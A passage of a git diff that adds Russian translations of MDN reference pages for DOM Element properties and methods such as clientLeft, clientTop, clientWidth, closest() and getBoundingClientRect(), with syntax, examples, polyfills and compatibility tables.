+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_Also" name="See_Also">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("HTMLElement.offsetHeight")}}</li>
+ <li>{{domxref("Element.scrollHeight")}}</li>
+ <li><a href="/en-US/docs/Determining_the_dimensions_of_elements">Determining the dimensions of elements</a></li>
+</ul>
diff --git a/files/ru/web/api/element/clientleft/index.html b/files/ru/web/api/element/clientleft/index.html
new file mode 100644
index 0000000000..28ac7b7def
--- /dev/null
+++ b/files/ru/web/api/element/clientleft/index.html
@@ -0,0 +1,68 @@
+---
+title: Element.clientLeft
+slug: Web/API/Element/clientLeft
+translation_of: Web/API/Element/clientLeft
+---
+<div>{{ APIRef("DOM") }}</div>
+
+<div>Ширина от левого края элемента в пискелях. При наличии overflow заключает в себя ширину от ветикального scrollbar для письма справа налево.</div>
+
+<p><code>clientLeft</code> не включает в себя ни левый padding ни margin с той же стороны. <code>clientLeft</code> только для чтения.</p>
+
+<p><a href="en/Gecko">Gecko</a>-based applications support <code>clientLeft</code> starting with Gecko 1.9 (<a href="en/Firefox_3">Firefox 3</a>, implemented in {{ Bug(111207) }}). This property is not supported in Firefox 2 and earlier.</p>
+
+<p>Когда <a class="external" href="http://kb.mozillazine.org/Layout.scrollbar.side"><code>layout.scrollbar.side</code> </a>значение установлено от 1 до 3 и направление текста справа налево, <strong>то вертикальный scrollbar будет спозиционирован слева</strong> и как следствие будет вычислен сlientLeft.</p>
+
+<div class="note">
+<p><strong>Внимание:</strong> Это свойство округлит значение к целому числу. Если нужно дробное значение используйте {{ domxref("element.getBoundingClientRect()") }}.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var <var>left</var> = <var>element</var>.clientLeft;
+</pre>
+
+<h2 id="Example">Example</h2>
+
+<div id="offsetContainer" style="margin: 40px 50px 50px; background-color: rgb(255, 255, 204); border: 4px dashed black; color: black; position: relative; display: inline-block;">
+<div id="idDiv" style="margin: 24px 29px; border: 24px black solid; padding: 0px 28px; width: 199px; height: 102px; overflow: auto; background-color: white; font-size: 13px!important; font-family: Arial, sans-serif;">
+<p id="PaddingTopLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-top</p>
+
+<p>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.</p>
+
+<p>Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p>
+
+<p id="PaddingBottomLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-bottom</p>
+</div>
+<strong style="color: blue; font-family: arial,sans-serif; font-size: 13px!important; font-weight: bold; left: -32px; position: absolute; top: 85px;">Left</strong> <strong style="color: blue; font-family: arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 170px; position: absolute; top: -24px;">Top</strong> <strong style="color: blue; font-family: arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 370px; position: absolute; top: 85px;">Right</strong> <strong style="color: blue; font-family: arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 164px; position: absolute; top: 203px;">Bottom</strong> <em>margin-top</em> <em>margin-bottom</em> <em>border-top</em> <em>border-bottom</em></div>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#dom-element-clientleft', 'clientLeft')}}</td>
+   <td>{{Spec2("CSSOM View")}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("api.Element.clientLeft")}}</p>
+
+<h2 id="Notes">Notes</h2>
+
+<p><code>clientLeft</code> был впервые введен MS IE DHTML object model.</p>
+
+<p>Расположени вертикального scrollbar для письма справа налево применненного для элемента будет назначатся вледующим свойством <a class="external" href="http://kb.mozillazine.org/Layout.scrollbar.side"><code>layout.scrollbar.side</code> preference</a></p>
+
+<p>Когда установлены стили элемента <code>display: inline</code>, то <code>clientLeft</code> вернет <code>0</code> несмотря на границы элемента.</p>
diff --git a/files/ru/web/api/element/clienttop/index.html b/files/ru/web/api/element/clienttop/index.html
new file mode 100644
index 0000000000..e3c1521657
--- /dev/null
+++ b/files/ru/web/api/element/clienttop/index.html
@@ -0,0 +1,70 @@
+---
+title: Element.clientTop
+slug: Web/API/Element/clientTop
+translation_of: Web/API/Element/clientTop
+---
+<div>{{ APIRef("DOM") }}</div>
+
+<p>Толщина верхней границы элемента в пикселях. Не включает в себя margin и padding. Свойство только для чтения.</p>
+
+<p>Всё, что лежит между двумя местами (<code>offsetTop</code> и верх клиентской области) является границей элемента, потому что <code>offsetTop</code> показывает местоположение верха border элемента (не margin), в то время как верх клиентской области начинается сразу под border (клиентская область включает padding). Поэтому значение <strong>clientTop</strong> всегда будет равно значению <code>.getComputedStyle()</code> для "border-top-width". Например, если значение "border-top-width" равно нулю, то и <strong>clientTop</strong> тоже равно нулю.</p>
+
+<div class="blockIndicator note">
+<p><strong>Примечание:</strong> Это свойство округляет значение до целого. Если вам нужно дробное значение, используйте {{ domxref("element.getBoundingClientRect()") }}.</p>
+</div>
+
+<p>Основанные на <a href="en/Gecko">Gecko</a> приложения поддерживают <span style="font-family: Consolas,Monaco,'Andale Mono',monospace;">clientTop начиная с </span>Gecko 1.9 (<a href="en/Firefox_3">Firefox 3</a>, реализованно в  {{ Bug(111207) }}). Это свойство не поддерживается в  Firefox 2 и более ранних.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="eval">var<em>top</em> = <var>element</var>.clientTop;
+</pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<p>В следующей иллюстрации клиентская область показана белым (части под названиями "Top", "Right" и т. д. не имеют никакого отношения к клиентской области). Значение <strong>clientTop</strong> - расстояние между окончением области margin (жёлтый) или padding и началом области контента (белый)</p>
+
+<div id="offsetContainer" style="margin: 40px 50px 50px; background-color: rgb(255, 255, 204); border: 4px dashed black; color: black; position: relative; display: inline-block;">
+<div id="idDiv" style="margin: 24px 29px; border: 24px black solid; padding: 0px 28px; width: 199px; height: 102px; overflow: auto; background-color: white; font-size: 13px!important; font-family: Arial, sans-serif;">
+<p id="PaddingTopLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-top</p>
+
+<p>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.</p>
+
+<p>Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p>
+
+<p id="PaddingBottomLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-bottom</p>
+</div>
+<strong style="">Left</strong> <strong style="">Top</strong> <strong style="color: blue; font-family: Arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 370px; position: absolute; top: 85px;">Right</strong> <em>margin-top</em> <em>margin-bottom</em> <em>border-top</em> <em>border-bottom</em><strong style="color: blue; font-family: Arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 164px; position: absolute; top: 190px;">Bottom</strong></div>
+
+<h2 id="Notes" name="Notes">Примечание</h2>
+
+<p><code>clientTop</code> был впервые введен в MS IE DHTML object model.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#dom-element-clienttop', 'clientTop')}}</td>
+   <td>{{Spec2("CSSOM View")}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.Element.clientTop")}}</p>
+
+<h2 id="References" name="References">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://docs.microsoft.com/en-us/previous-versions//hh781509(v=vs.85)">MSDN: Measuring Element Dimension and Location</a></li>
+</ul>
diff --git a/files/ru/web/api/element/clientwidth/index.html b/files/ru/web/api/element/clientwidth/index.html
new file mode 100644
index 0000000000..927ef1e1cb
--- /dev/null
+++ b/files/ru/web/api/element/clientwidth/index.html
@@ -0,0 +1,59 @@
+---
+title: Element.clientWidth
+slug: Web/API/Element/clientWidth
+translation_of: Web/API/Element/clientWidth
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">Свойство </span></font><code><strong>Element.clientWidth</strong></code> равно 0 для инлайн элементов и элементов без CSS; для всех остальных равняется ширине элемента в пикселях, включая padding, но исключая ширину рамки (border), внешние отступы (margin), и вертикальную полосу прокрутки (если она есть).</p>
+
+<div class="note">
+<p><strong>Note:</strong> Это свойство округляет реальное значение до целого. Если вам нужно дробное значение, используйте {{ domxref("element.getBoundingClientRect()") }}.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <var>intElemClientWidth</var> = <var>element</var>.clientWidth;</pre>
+
+<p><code><var>intElemClientWidth</var></code> - целое число, соответствующее значению <code>clientWidth</code> элемента <code><var>element</var></code> в пикселях. Свойство <code>clientWidth</code> только для чтения.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p><img alt="Image:Dimensions-client.png" class="internal" src="/@api/deki/files/185/=Dimensions-client.png"></p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецфикация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#dom-element-clientwidth', 'clientWidth')}}</td>
+   <td>{{Spec2("CSSOM View")}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Примечание">Примечание</h3>
+
+<p><code>clientWidth</code> был впервые предствлен в объектной модели MS IE DHTML.</p>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.Element.clientWidth")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("HTMLElement.offsetWidth")}}</li>
+ <li>{{domxref("Element.scrollWidth")}}</li>
+ <li><a href="/en-US/docs/Web/API/CSS_Object_Model/Determining_the_dimensions_of_elements">Determining the dimensions of elements</a></li>
+</ul>
diff --git a/files/ru/web/api/element/closest/index.html b/files/ru/web/api/element/closest/index.html
new file mode 100644
index 0000000000..5ca79dbcc0
--- /dev/null
+++ b/files/ru/web/api/element/closest/index.html
@@ -0,0 +1,124 @@
+---
+title: Element.closest()
+slug: Web/API/Element/closest
+tags:
+  - API
+  - DOM
+  - Element
+  - Method
+  - Reference
+translation_of: Web/API/Element/closest
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Метод <code><strong>Element.closest()</strong></code> возвращает ближайший родительский элемент (или сам элемент), который соответствует заданному CSS-селектору или null, если таковых элементов вообще нет.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">var <em>elt =</em><em> element</em>.closest(<em>selectors</em>);
+</pre>
+
+<ul>
+ <li><strong><code>selectors</code><em> - </em></strong>строка, а точнее {{domxref("DOMString")}}<code><em>, </em></code>содержащая CSS-селектор, к примеру: <em><strong>"#id", ".class", "div"</strong>...</em></li>
+ <li>Результат - элемент DOM ({{domxref("Element")}}), либо null.</li>
+</ul>
+
+<h2 id="Исключения">Исключения</h2>
+
+<dl>
+ <dt><code>SYNTAX_ERR</code></dt>
+ <dd>Указаный css-селектор не является допустимым<em> ("/=21=1", "&amp;@*#", "%'54523" и т.п. приведут к ошибке).</em></dd>
+</dl>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="notranslate">&lt;div id="block" title="Я - блок"&gt;
+    &lt;a href="#"&gt;Я ссылка в никуда&lt;/a&gt;
+    &lt;a href="http://site.ru"&gt;Я ссылка на сайт&lt;/a&gt;
+    &lt;div&gt;
+       &lt;div id="too"&gt;&lt;/div&gt;
+    &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>Думаю, стоит рассмотреть несколько примеров:</p>
+
+<pre class="brush: js notranslate">var div = document.querySelector("#too"); //Это элемент от которого мы начнем поиск
+
+div.closest("#block"); //Результат - самый первый блок древа выше
+div.closest("div"); //Сам блок #too и будет результатом, так как он подходит под селектор "div"
+div.closest("a"); //null - В предках #too нет ни одного тега "a"!
+div.closest("div[title]") //#block - так как ближе нет блоков с атрибутом title.
+
+</pre>
+
+<h2 id="Полифилл_1_рекурсивный_метод">Полифилл #1 (рекурсивный метод)</h2>
+
+<p>Для браузеров не поддерживающих Element.closest(), но позволяющих использовать element.matches() (или префиксный эквивалент) есть полифилл:</p>
+
+<pre class="brush: js notranslate">(function(ELEMENT) {
+    ELEMENT.matches = ELEMENT.matches || ELEMENT.mozMatchesSelector || ELEMENT.msMatchesSelector || ELEMENT.oMatchesSelector || ELEMENT.webkitMatchesSelector;
+    ELEMENT.closest = ELEMENT.closest || function closest(selector) {
+        if (!this) return null;
+        if (this.matches(selector)) return this;
+        if (!this.parentElement) {return null}
+        else return this.parentElement.closest(selector)
+      };
+}(Element.prototype));</pre>
+
+<h2 id="Specification" name="Specification">Полифилл #2 (через цикл)</h2>
+
+<p>Тем не менее, если вам требуется поддержка IE 8, вы можете использовать следующий полифилл. Имейте ввиду - этот способ позволяет использовать CSS селекторы только уровня 2.1 и может жутко тормозить.</p>
+
+<pre class="brush: js notranslate">(function(e){
+ e.closest = e.closest || function(css){
+   var node = this;
+ <code class="language-javascript"><span class="keyword token">
+   while</span> <span class="punctuation token">(</span>node<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+<span class="keyword token">      if</span> <span class="punctuation token">(</span>node<span class="punctuation token">.</span><span class="function token">matches</span><span class="punctuation token">(</span>css<span class="punctuation token">)</span><span class="punctuation token">)</span> <span class="keyword token">return</span> node<span class="punctuation token">;</span>
+      <span class="keyword token">else</span> node <span class="operator token">=</span> node<span class="punctuation token">.</span>parentElement<span class="punctuation token">;</span>
+   <span class="punctuation token">}</span>
+<span class="keyword token">   return</span> <span class="keyword token">null</span><span class="punctuation token">;</span></code>
+ }
+})(Element.prototype);</pre>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-element-closest', 'Element.closest()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{Compat("api.Element.closest")}}</div>
+
+<div>
+<h3 id="Заметки_совместимости">Заметки совместимости</h3>
+
+<ul>
+ <li>В Edge <code>document.createElement(tagName).closest(tagName)</code> возвращает <code>null</code>, если элемент ещё не привязан в DOM.</li>
+</ul>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>Интерфейс {{domxref("Element")}}.</li>
+ <li>
+  <p><a href="https://developer.mozilla.org/ru/docs/Learn/CSS/Introduction_to_CSS/Selectors">Синтаксис селекторов</a></p>
+ </li>
+ <li>
+  <p>Другие методы, принимающие селекторы: {{domxref("element.querySelector()")}} и {{domxref("element.matches()")}}.</p>
+ </li>
+</ul>
+</div>
diff --git a/files/ru/web/api/element/createshadowroot/index.html b/files/ru/web/api/element/createshadowroot/index.html
new file mode 100644
index 0000000000..26c80f8497
--- /dev/null
+++ b/files/ru/web/api/element/createshadowroot/index.html
@@ -0,0 +1,91 @@
+---
+title: Element.createShadowRoot()
+slug: Web/API/Element/createShadowRoot
+translation_of: Web/API/Element/createShadowRoot
+---
+<p>{{draft}}</p>
+
+<p>{{deprecated_header()}}</p>
+
+<p>Используйте <code>Element.createShadowRoot</code> чтобы создать  экземпляр <a href="/en-US/docs/Web/Web_Components/Shadow_DOM">shadow DOM</a>. После создания shadow DOM, он всегда будет привязан к существующему элементу. После создания shadowDOM, элемент к которому он привязан будет называться Теневой корень (shadowRoot) {{glossary("shadow root")}}.</p>
+
+<div class="note">
+<p>This method has been deprecated in favor of <a href="https://developer.mozilla.org/en-US/docs/Web/API/Element/attachShadow">attachShadow</a>.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>shadowroot =</em><em> element</em>.createShadowRoot();
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<p>Отсутствуют</p>
+
+<h3 id="Значение_результата">Значение результата</h3>
+
+<p>Возвращает {{domxref("ShadowRoot")}}.</p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<p>Эта функция больше не определяется никакими спецификациями</p>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(35.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>22</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div class="note">
+<p>В Chrome 45, возможность иметь несколько теневых корней устарела.</p>
+</div>
diff --git a/files/ru/web/api/element/currentstyle/index.html b/files/ru/web/api/element/currentstyle/index.html
new file mode 100644
index 0000000000..3df9fd524a
--- /dev/null
+++ b/files/ru/web/api/element/currentstyle/index.html
@@ -0,0 +1,52 @@
+---
+title: Element.currentStyle
+slug: Web/API/Element/currentStyle
+tags:
+  - API
+  - NeedsExample
+  - Non-standard
+  - Property
+translation_of: Web/API/Element/currentStyle
+---
+<p>{{Non-standard_header}}</p>
+
+<p class="summary"><span class="seoSummary"><strong><code>Element.currentStyle</code></strong> является собственностью, похожей на стандартизированную {{DOMxRef("window.getComputedStyle()")}} method.</span> Он доступен в старых версиях Microsoft Internet Explorer. Однако, он возвращает единицы, установленные в CSS в то время как <code>window.getComputedStyle()</code>возвращает значения в пикселях.</p>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<div class="note">
+<p>Эта polyfill возвращает значения в пикселях и, скорее всего, будет довольно медленным, так как оно должно называться {{domxref("window.getComputedStyle()")}} каждый раз, когда читается его значение.</p>
+</div>
+
+<pre class="brush: js">/* Любое авторское право посвящено Общественному достоянию.
+ * http://creativecommons.org/publicdomain/zero/1.0/ */
+
+if (!("currentStyle" in Element.prototype)) {
+  Object.defineProperty(Element.prototype, "currentStyle", {
+    get: function() {
+      return window.getComputedStyle(this);
+    }
+  });
+}
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<p>Не входит ни в какие спецификации.</p>
+
+<p>Microsoft <a href="https://web.archive.org/web/20150629144515/https://msdn.microsoft.com/en-us/library/ms535231(v=vs.85).aspx">had a description on MSDN</a>.</p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Совместимость с браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице составлена из структурированных данных. Если Вы хотите внести свой вклад в данные, пожалуйста, посетите https://github.com/mdn/browser-compat-data и отправьте нам запрос.</div>
+
+<p>{{Compat("api.Element.currentStyle")}}</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>{{DOMxRef("Element.runtimeStyle")}}</li>
+ <li>{{DOMxRef("window.getComputedStyle()")}}</li>
+</ul>
+
+<div>{{APIRef("DOM")}}</div>
diff --git a/files/ru/web/api/element/getattribute/index.html b/files/ru/web/api/element/getattribute/index.html
new file mode 100644
index 0000000000..a60d2fcdcd
--- /dev/null
+++ b/files/ru/web/api/element/getattribute/index.html
@@ -0,0 +1,49 @@
+---
+title: Element.getAttribute()
+slug: Web/API/Element/getAttribute
+tags:
+  - API
+  - DOM
+  - Method
+  - метод
+translation_of: Web/API/Element/getAttribute
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<h2 id="Summary" name="Summary">Описание</h2>
+
+<p><code>getAttribute()</code> возвращает значение указанного атрибута элемента. Если элемент не содержит данный атрибут, могут быть возвращены <code>null</code> или <code>""</code> (пустая строка); подробнее {{ Anch("Notes") }}.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="eval"><em>var attribute</em> = element.getAttribute(<em>attributeName</em>);
+</pre>
+
+<p>где</p>
+
+<ul>
+ <li><code><em>attribute</em></code> - переменная, которой будет присвоено значение <code><em>attributeName</em></code>.</li>
+ <li><code><em>attributeName</em></code> - имя атрибута, значение которого необходимо получить.</li>
+</ul>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="eval">var div1 = document.getElementById("div1");
+var align = div1.getAttribute("align");
+alert(align); // отобразит значение атрибута align элемента с id="div1"
+</pre>
+
+<h2 id="Notes" name="Notes">Примечания</h2>
+
+<p>Когда метод <code>getAttribute</code> вызывается применительно к HTML-элементу, в DOM HTML-документа, значение аргумента приводится к нижнему регистру.</p>
+
+<p>В действительности все браузеры (Firefox, Internet Explorer, последние версии Opera, Safari, Konqueror, iCab и т.д.) возвращают <code>null</code>, когда выбранный элемент не содержит атрибута с переданным именем. Спецификация DOM определяет, что корректное возвращаемое значение в данном случае - <em>пустая строка</em> и некоторые реализации DOM придерживаются такого поведения. Реализация getAttribute в XUL (Gecko) в настоящее время следует спецификации и возвращает пустую строку. Следовательно, имеет смысл использовать <a href="/en/DOM/element.hasAttribute" title="en/DOM/element.hasAttribute">hasAttribute</a>, чтобы проверять наличие атрибутов перед вызовом <code>getAttribute()</code>, если может быть такое, что выбранный элемент не будет содержать искомого атрибута.</p>
+
+<p>{{ DOMAttributeMethods() }}</p>
+
+<h2 id="Specification" name="Specification">Спецификации</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-666EE0F9">DOM Level 2 Core: getAttribute</a> (представлено в <a class="external" href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#method-getAttribute">DOM Level 1 Core</a>)</li>
+ <li><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dom.html#apis-in-html-documents">HTML 5: APIs in HTML documents</a></li>
+</ul>
diff --git a/files/ru/web/api/element/getboundingclientrect/index.html b/files/ru/web/api/element/getboundingclientrect/index.html
new file mode 100644
index 0000000000..2a53575049
--- /dev/null
+++ b/files/ru/web/api/element/getboundingclientrect/index.html
@@ -0,0 +1,102 @@
+---
+title: Element.getBoundingClientRect()
+slug: Web/API/Element/getBoundingClientRect
+tags:
+  - API
+  - DOM
+  - JavaScript
+  - getBoundingClientRect
+  - Позиция
+  - Прямоугольник
+  - Самый маленький
+  - Справка
+  - Элемент
+  - метод
+translation_of: Web/API/Element/getBoundingClientRect
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Метод <code><strong>Element.getBoundingClientRect()</strong></code> возвращает размер элемента и его позицию относительно viewport (часть страницы, показанная на экране, и которую мы видим).</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>domRect</em> = <em>element</em>.getBoundingClientRect();</pre>
+
+<h3 id="Returns" name="Returns">Возвращаемое значение</h3>
+
+<p>Данный метод возвращает объект {{domxref("DOMRect")}}, который является объединением прямоугольников, возвращаемых методом {{domxref("Element.getClientRects", "getClientRects()")}}  для данного элемента, т. е. CSS border-boxes (css-коробок в рамках), связанных с этим элементом. Результатом является самый маленький прямоугольник, в котором содержится весь элемент с read-only <code>left</code>, <code>top</code>, <code>right</code>, <code>bottom</code>, <code>x</code>, <code>y</code>, <code>width</code> и <code>height</code> свойствами, описывающие это в пикселях. Все свойства, кроме <code>width</code> и <code>height</code>, являются относительными к верхнему левому углу viewport-а.</p>
+
+<p style="display: block;"><img alt="Explanation of DOMRect values" src="https://mdn.mozillademos.org/files/15087/rect.png" style="float: right; height: 300px; width: 300px;" title="Explanation of DOMRect values"></p>
+
+<p>Пустые border-box полностью игнорируются. Если border-box элемента пуст, прямоугольник возвращается с нулевыми <code>width</code> и <code>height</code>, а <code>top</code> и <code>left</code> берутся у следующего CSS элемента (в порядке контента).</p>
+
+<p>После каждого скролла значения <code>left</code>, <code>top</code>, <code>right</code> и <code>bottom</code> изменяются, так как эти значения относительны к viewport и не абсолютные.</p>
+
+<p>Если вам нужны значения, описывающие прямоугольник относительно к верхнему левому углу документа, просто добавьте к свойствам <code>top</code> и <code>left</code> текущую позицию прокрутки, используя {{domxref("window.scrollX")}} и {{domxref("window.scrollY")}}), чтобы получить прямоугольник, положение которого не зависит от текущей позиции прокрутки.</p>
+
+<h3 id="Про_кроссбраузерность">Про кроссбраузерность</h3>
+
+<p>Скрипты, требующих высокую кроссбраузерность, могут использовать {{domxref("window.pageXOffset")}} и {{domxref("window.pageYOffset")}} вместо <code>window.scrollX</code> and <code>window.scrollY</code>. Скрипты без доступа к этим свойствам могут использовать код, наподобие этого:</p>
+
+<pre class="brush: js"><code>// Для scrollX
+(((t = document.documentElement) || (t = document.body.parentNode))
+  &amp;&amp; typeof t.scrollLeft == 'number' ? t : document.body).scrollLeft
+// Для scrollY
+(((t = document.documentElement) || (t = document.body.parentNode))
+  &amp;&amp; typeof t.scrollTop == 'number' ? t : document.body).scrollTop</code></pre>
+
+<h2 id="Пример"><span style='font-family: x-locale-heading-primary,zillaslab,Palatino,"Palatino Linotype",x-locale-heading-secondary,serif; font-size: 2.33333rem; letter-spacing: -0.00278rem;'>Пример</span></h2>
+
+<pre class="brush: js"><code>// rect - DOMRect объект с 8-ми свойствами: left, top, right, bottom, x, y, width, height
+var rect = obj.getBoundingClientRect();</code></pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSSOM View", "#dom-element-getboundingclientrect", "Element.getBoundingClientRect()")}}</td>
+   <td>{{Spec2("CSSOM View")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Notes" name="Notes">Примечания</h3>
+
+<p>Возвращаемый <code>DOMRect</code> объект может быть модифицирован в современных браузерах. Это не так со старыми версиями, которые возвращали <code>DOMRectReadOnly</code>. У IE и Edge, не имея возможности добавить пропущенные свойства к возращаемым ими <a href="https://msdn.microsoft.com/en-us/library/hh826029(VS.85).aspx"><code>ClientRect</code></a>, объект не позволял добавить <code>x</code> и <code>y</code>.</p>
+
+<p>Для кроссбраузерности надежно использовать только <code>left</code>, <code>top</code>, <code>right</code>, и <code>bottom</code>.</p>
+
+<p>Свойства у <code>DOMRect</code> не являются собственными. <code>in</code> оператор и <code>for...in</code> найдут возвращенные значение, но другие APIs, <code>Object.keys()</code>, — нет. А еще <code>Object.assign()</code> и spread оператор не копируют их.</p>
+
+<pre><code>rect = elt.getBoundingClientRect()
+// emptyObj всегда {}
+emptyObj = Object.assign({}, rect)
+emptyObj = { ...rect }
+{width, ...emptyObj} = rect</code></pre>
+
+<p><code>DOMRect</code> свойства <code>top</code>, <code>left</code>, <code>right</code> и <code>bottom</code> вычисляются, используя значения других свойств объекта.</p>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+<div>
+<p>{{Compat("api.Element.getBoundingClientRect")}}</p>
+</div>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>{{domxref("Element.getClientRects", "getClientRects()")}}</li>
